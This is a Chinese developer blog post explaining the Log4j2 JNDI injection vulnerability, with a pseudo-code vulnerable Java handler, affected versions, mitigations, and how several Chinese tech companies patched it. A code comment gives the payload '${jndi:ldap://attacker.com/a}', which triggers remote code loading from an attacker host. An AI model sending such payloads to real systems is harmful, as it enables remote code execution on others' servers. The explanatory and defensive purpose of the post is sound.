见证历史了。。。

2022-12-06 15:53:24 浏览数 (1)

大家好,我是爱撸码的开源大叔!

最近这两天 log4j2 的事情闹得是沸沸扬扬的,本来大叔我是两耳不闻窗外事,一心只敲圣贤码的,谁知,公司研发群的一则通知打破了本来的宁静。

这个时候,我才意识到了问题的严重性,然后我就去各大程序员社区(知乎、CSDN、开源中国等)搜了一下,果然,这件事被大家讨论的沸沸扬扬。

大叔并没有着急整理这篇文章,而是让子弹飞一会

漏洞介绍

Apache Log4j2

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞原因

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码

那么什么是 JNDI 呢?

Java命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

利用下面这段代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。

代码语言:javascript复制
public class VulnerableLog4jExampleHandler implements HttpHandler { 
    static Logger log = Logger.getLogger(log4jExample.class.getName()); 
    /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * * This is basically pseudo-code to explain the vulnerability, and not a full example. * * @param he HTTP Request Object */ 
    public void handle(HttpExchange he) throws IOException { 
        String userAgent = he.getRequestHeader("user-agent"); 
        // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. 
        // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:"   userAgent); 
        String response = "Hello There, "   userAgent   "!"; 
        he.sendResponseHeaders(200, response.length()); 
        OutputStream os = he.getResponseBody(); 
        os.write(response.getBytes()); 
        os.close(); 
    } 
}

影响范围

Apache Log4j 2.x <= 2.15.0-rc1(据悉,官方rc1补丁有被绕过的风险)

解决方式

当问题爆出来之后,大家都在积极修复该漏洞。

临时性缓解措施(任选一种)

  • 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
  • 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本
  • 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
  • 限制受影响应用对外访问互联网
  • WAF 添加漏洞攻击代码临时拦截规则。

永久性解决方案

截止目前,Log4j2 官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞,大家可以升级到该版本来解决该漏洞。

八仙过海,各显神通

当问题出现之后,最重要的是先解决问题,咱国内的互联网大厂那可是一刻也没有松懈,全都迅速响应,拿出了自己的解决方案。

美团

org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。

美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。

美团内大部分业务使用 xmd-log4j2 , xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。

通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。

阿里

使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。

字节

安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。

同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。

百度

百度的我还没找到他们的解决方式,但是我偷偷的试了一下,确实已经解决了。

思考

我们是历史的经历者,也是历史的见证者,当出现这样足以被载入史册的重大事件之后,我们在“吃瓜”之余,也要有一些自己的思考。

不仅仅是 Apache Log4j 2 组件,而是只要有数据和代码未曾分离的地方,全都是注入攻击的可寻之地。因此我们在平时写代码的时候要严防各种注入,最常见的应该就是 SQL 注入了。

但是,我们也不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。

王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。

0 人点赞